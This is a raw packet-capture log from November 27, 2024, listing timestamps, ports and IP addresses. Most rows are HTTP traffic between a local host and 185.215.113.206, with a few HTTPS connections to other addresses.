Nov 27, 2024 17:58:57.515774965 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.515786886 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.515794992 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.515821934 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.516535997 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.516551971 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.516592026 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.516609907 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.516666889 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.516680002 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.516690969 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.516701937 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.516712904 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.516720057 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.516726971 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.516735077 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.516746044 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.516751051 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.516769886 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.516807079 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.517431974 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.517445087 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.517494917 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.517540932 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.517554998 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.517565012 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.517575979 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.517580032 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.517586946 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.517599106 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.517608881 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.517611980 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.517625093 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.517640114 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.517656088 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.518357038 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.518416882 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.518546104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.518559933 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.518569946 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.518580914 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.518590927 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.518591881 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.518604994 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.518615007 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.518615961 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.518629074 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.518640041 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.518649101 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.518650055 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.518666029 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.518692017 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.519428968 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.519444942 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.519457102 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.519468069 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.519471884 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.519481897 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.519489050 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.519501925 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.519512892 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.519520998 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.519526005 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.519546032 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.519551039 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.519560099 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.519576073 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.519609928 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.520567894 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.520581961 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.520592928 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.520608902 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.520617008 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.520627022 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.520661116 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.520670891 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.520684004 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.520692110 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.520694971 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.520709991 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.520720005 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.520720959 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.520734072 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.520750046 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.520761013 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.520790100 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.521766901 CET	443	49880	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.521785975 CET	443	49880	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.521842957 CET	443	49880	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.521850109 CET	49880	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.521888018 CET	49880	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.522938967 CET	49880	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.522957087 CET	443	49880	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.524272919 CET	443	49882	52.168.117.168	192.168.2.7
Nov 27, 2024 17:58:57.524343967 CET	443	49882	52.168.117.168	192.168.2.7
Nov 27, 2024 17:58:57.524399996 CET	49882	443	192.168.2.7	52.168.117.168
Nov 27, 2024 17:58:57.524555922 CET	443	49885	20.96.153.111	192.168.2.7
Nov 27, 2024 17:58:57.524605036 CET	443	49885	20.96.153.111	192.168.2.7
Nov 27, 2024 17:58:57.524657965 CET	49885	443	192.168.2.7	20.96.153.111
Nov 27, 2024 17:58:57.524863005 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.524876118 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.524887085 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.524892092 CET	49882	443	192.168.2.7	52.168.117.168
Nov 27, 2024 17:58:57.524904966 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.524910927 CET	49882	443	192.168.2.7	52.168.117.168
Nov 27, 2024 17:58:57.524910927 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.524913073 CET	443	49882	52.168.117.168	192.168.2.7
Nov 27, 2024 17:58:57.524923086 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.524934053 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.524945021 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.524955034 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.524974108 CET	49882	443	192.168.2.7	52.168.117.168
Nov 27, 2024 17:58:57.525007010 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.525007010 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.525060892 CET	443	49886	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:57.525333881 CET	443	49887	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:57.525840044 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.525854111 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.525865078 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.525876045 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.525881052 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.525885105 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.525895119 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.525896072 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.525909901 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.525919914 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.525923967 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.525935888 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.525948048 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.525954008 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.525974035 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.525985956 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.526676893 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.526691914 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.526702881 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.526714087 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.526748896 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.526753902 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.526776075 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.526777983 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.526787996 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.526799917 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.526810884 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.526815891 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.526824951 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.526848078 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.526864052 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.527110100 CET	49885	443	192.168.2.7	20.96.153.111
Nov 27, 2024 17:58:57.527128935 CET	443	49885	20.96.153.111	192.168.2.7
Nov 27, 2024 17:58:57.527559996 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.527574062 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.527617931 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.527681112 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.527693987 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.527738094 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.527739048 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.527753115 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.527776957 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.527801037 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.528493881 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.528507948 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.528517962 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.528528929 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.528548956 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.528561115 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.528580904 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.528584957 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.528595924 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.528603077 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.528609991 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.528623104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.528628111 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.528635025 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.528650999 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.528696060 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.529386044 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.529407978 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.529417992 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.529428959 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.529429913 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.529448986 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.529464960 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.529468060 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.529479027 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.529512882 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.529529095 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.529539108 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.529565096 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.530339003 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.530353069 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.530364990 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.530376911 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.530390978 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.530417919 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.530419111 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.530432940 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.530443907 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.530455112 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.530467033 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.530478954 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.530479908 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.530518055 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.530539989 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.531338930 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.531351089 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.531362057 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.531373024 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.531383991 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.531383991 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.531397104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.531408072 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.531415939 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.531420946 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.531431913 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.531444073 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.531454086 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.531475067 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.531491041 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.532140017 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.532155037 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.532205105 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.532238007 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.532260895 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.532274008 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.532285929 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.532296896 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.532308102 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.532318115 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.532329082 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.532331944 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.532341957 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.532357931 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.532372952 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.532397985 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.533153057 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.533169031 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.533179045 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.533190966 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.533202887 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.533214092 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.533216953 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.533226967 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.533241034 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.533251047 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.533267021 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.533305883 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.534096956 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.534111977 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.534122944 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.534133911 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.534138918 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.534146070 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.534157991 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.534158945 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.534171104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.534183025 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.534193993 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.534204006 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.534204960 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.534224033 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.534238100 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.534885883 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.534929991 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.534955978 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.534970045 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.534981012 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.534996033 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.535008907 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.535015106 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.535027981 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.535032034 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.535042048 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.535052061 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.535077095 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.535103083 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.536241055 CET	443	49891	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.536263943 CET	443	49891	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.536307096 CET	443	49891	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.536370993 CET	49891	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.536994934 CET	443	49879	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.537008047 CET	443	49879	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.537062883 CET	49879	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.537070990 CET	443	49879	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.537866116 CET	443	49879	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.538081884 CET	49879	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.543278933 CET	443	49896	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:57.544085026 CET	49901	443	192.168.2.7	20.96.153.111
Nov 27, 2024 17:58:57.544095993 CET	443	49901	20.96.153.111	192.168.2.7
Nov 27, 2024 17:58:57.544203043 CET	49901	443	192.168.2.7	20.96.153.111
Nov 27, 2024 17:58:57.544648886 CET	49901	443	192.168.2.7	20.96.153.111
Nov 27, 2024 17:58:57.544663906 CET	443	49901	20.96.153.111	192.168.2.7
Nov 27, 2024 17:58:57.546525955 CET	49891	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.546533108 CET	443	49891	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.547082901 CET	49879	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.547082901 CET	49879	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.547101021 CET	443	49879	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.547168016 CET	49879	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.548899889 CET	49886	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:57.548914909 CET	443	49886	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:57.550139904 CET	49886	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:57.550148010 CET	443	49886	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:57.554903984 CET	49887	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:57.554939985 CET	443	49887	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:57.555310011 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.555376053 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.555435896 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.555479050 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.555517912 CET	49887	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:57.555524111 CET	443	49887	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:57.555624008 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.555664062 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.555747032 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.555816889 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.555844069 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.555881977 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.556188107 CET	49896	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:57.556205034 CET	443	49896	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:57.556597948 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.556644917 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.556682110 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.556720972 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.556926012 CET	49896	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:57.556931019 CET	443	49896	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:57.557353973 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.557411909 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.557430983 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.557473898 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.558173895 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.558231115 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.558356047 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.558399916 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.559048891 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.559102058 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.559190989 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.559235096 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.559578896 CET	443	49889	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:57.559937000 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.559950113 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.559994936 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.560709953 CET	80	49850	185.215.113.206	192.168.2.7
